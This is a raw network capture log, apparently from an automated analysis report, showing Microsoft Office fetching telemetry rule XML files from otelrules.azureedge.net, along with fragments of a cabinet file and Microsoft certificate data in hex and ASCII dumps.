2024-11-23 10:22:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 10:22:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:03 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 614243f2-101e-000b-1164-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102203Z-178bfbc474bq2pr7hC1NYCkfgg00000004f0000000006tqw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:03 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:03 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e7cf57de-301e-006e-404d-3cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102203Z-15b8b599d88s6mj9hC1TEBur3000000002p0000000005p4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:03 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:03 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3e5933f5-801e-00ac-572e-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102203Z-178bfbc474bpscmfhC1NYCfc2c00000002xg000000006u2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:03 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102203Z-178bfbc474bnwsh4hC1NYC2ubs00000004cg000000007y5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:03 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:03 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102203Z-174c587ffdf59vqchC1TEByk6800000002zg00000000577n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:03 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:05 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102205Z-178bfbc474b7cbwqhC1NYC8z4n000000043g00000000em3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:05 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102205Z-178bfbc474bscnbchC1NYCe7eg00000004gg0000000047qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:05 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102205Z-178bfbc474btvfdfhC1NYCa2en00000004cg000000007k3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:05 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102205Z-174c587ffdfb485jhC1TEBmc1s00000002ng000000007u2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:05 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102205Z-178bfbc474b7cbwqhC1NYC8z4n00000004a0000000002syx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:06 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f380030e-501e-007b-0625-3d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102208Z-178bfbc474bfw4gbhC1NYCunf400000004c0000000004km1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
